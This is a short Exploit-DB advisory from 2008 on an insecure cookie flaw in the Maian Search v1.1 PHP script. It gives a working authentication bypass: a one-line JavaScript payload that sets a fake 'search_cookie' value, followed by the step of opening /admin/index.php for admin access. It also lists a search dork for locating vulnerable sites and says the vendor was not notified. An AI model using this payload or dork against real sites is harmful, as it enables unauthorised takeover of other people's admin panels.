Maian Search 1.1 - Insecure Cookie Handling

EDB-ID:

6066


Author:

S.W.A.T.

Type:

webapps


Platform:

PHP

Date:

2008-07-13


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-[*]+          Maian Search <= v1.1 Insecure Cookie Handling Vulnerability           +[*]-
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[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by: Maian Search v1.1



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

   Maian Search suffers from a insecure cookie, the admin panel only checks if the cookie

exists.
    and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

    javascript:document.cookie = "search_cookie=1; path=/";


[*] NOTE/TIP:

    after running the javascript, visit "/admin/index.php" to view admin area.



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-[*]+          Maian Search <= v1.1 Insecure Cookie Handling Vulnerability           +[*]-
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